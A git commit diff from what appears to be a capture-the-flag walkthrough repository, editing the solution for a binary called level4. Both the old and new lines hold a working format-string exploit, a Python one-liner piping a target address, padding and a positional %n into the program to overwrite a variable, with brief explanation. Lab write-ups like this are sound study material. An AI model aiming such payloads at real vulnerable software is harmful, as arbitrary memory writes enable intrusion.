fix: bunch of improvements and typos in the walkthrough
This commit is contained in:
@ -1 +1 @@
|
||||
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4
|
||||
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4
|
||||
|
@ -14,4 +14,4 @@ Since we cannot pass arguments to printf directly, we need to specify the positi
|
||||
Finally, we print the 16930112 bytes (+ 4 bytes for the address have already been printed) so that `m == 16930116`.
|
||||
Unfortunately, unlike the previous level, we cannot print all the bytes directly in the buffer. For this, we will use printf's padding feature to print the right number of bytes.
|
||||
Here is the command:
|
||||
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4`
|
||||
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4`
|
||||
|
Reference in New Issue
Block a user